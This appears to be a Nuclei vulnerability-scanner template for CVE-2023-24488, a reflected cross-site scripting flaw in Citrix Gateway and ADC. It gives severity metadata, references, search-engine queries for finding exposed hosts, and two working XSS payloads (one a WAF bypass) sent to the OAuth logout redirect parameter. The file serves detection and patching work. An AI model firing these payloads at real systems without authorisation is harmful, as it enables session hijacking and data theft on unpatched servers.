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id : CVE-2023-24488
info :
name : Citrix Gateway and Citrix ADC - Cross-Site Scripting
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author : johnk3r,DhiyaneshDk
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severity : medium
description : |
Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation : |
Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
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reference :
- https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
- https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
- https://nvd.nist.gov/vuln/detail/CVE-2023-24488
- https://twitter.com/infosec_au/status/1674786106381070342
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- https://twitter.com/bxmbn/status/1675250259608449026
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
cve-id : CVE-2023-24488
cwe-id : CWE-79
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epss-score : 0.05227
epss-percentile : 0.93007
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cpe : cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
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metadata :
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max-request : 2
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vendor : citrix
product : gateway
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shodan-query : title:"Citrix Gateway"
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fofa-query : title="citrix gateway"
google-query : intitle:"citrix gateway"
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tags : cve2023,cve,citrix,xss,adc
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http :
- method : GET
path :
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- '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
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- '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'
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stop-at-first-match : true
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matchers-condition : and
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matchers :
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- type : word
part : body
words :
- <body x='&'onload="(alert)('citrix akamai bypass')">
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- <script>alert(document.domain)</script>
condition : or
- type : word
part : body
words :
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- "Content-Type: text/html"
- type : status
status :
- 302
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# digest: 4b0a00483046022100badcc6f7c01e3ebfeba9d79731cabde3a35cf09507addd97975878d01d4d6bb1022100d93e39472b12d5b1c7403c5e5b8a719b384a1f13679d8992246b838cbe6f85f6:922c64590222798bb761d5b6d8e72950
